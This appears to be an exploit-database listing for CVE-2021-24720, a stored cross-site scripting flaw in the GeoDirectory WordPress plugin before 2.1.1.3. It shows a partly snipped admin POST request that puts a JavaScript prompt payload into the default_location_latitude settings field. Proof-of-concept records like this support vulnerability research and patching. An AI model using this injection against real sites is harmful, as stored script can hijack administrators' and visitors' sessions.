Exploit for GeoDirectory < 2.1.1.3 - Authenticated (admin+) Stored Cross-Site Scripting (XSS) CVE-2021-24720

Name: Exploit for GeoDirectory < 2.1.1.3 - Authenticated (admin+) Stored Cross-Site Scripting (XSS) CVE-2021-24720
Rating: 5 (101 reviews)

2021-09-02 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:9DE5CC51-F64C-4475-A0F4-D932DC4364A6
POST /wp-admin/admin.php?page=gd-settings&tab=general&section=location HTTP/1.1

[..SNIP..]

Content-Disposition: form-data; name="default_location_latitude"

prompt(/XSS/)

[..SNIP..]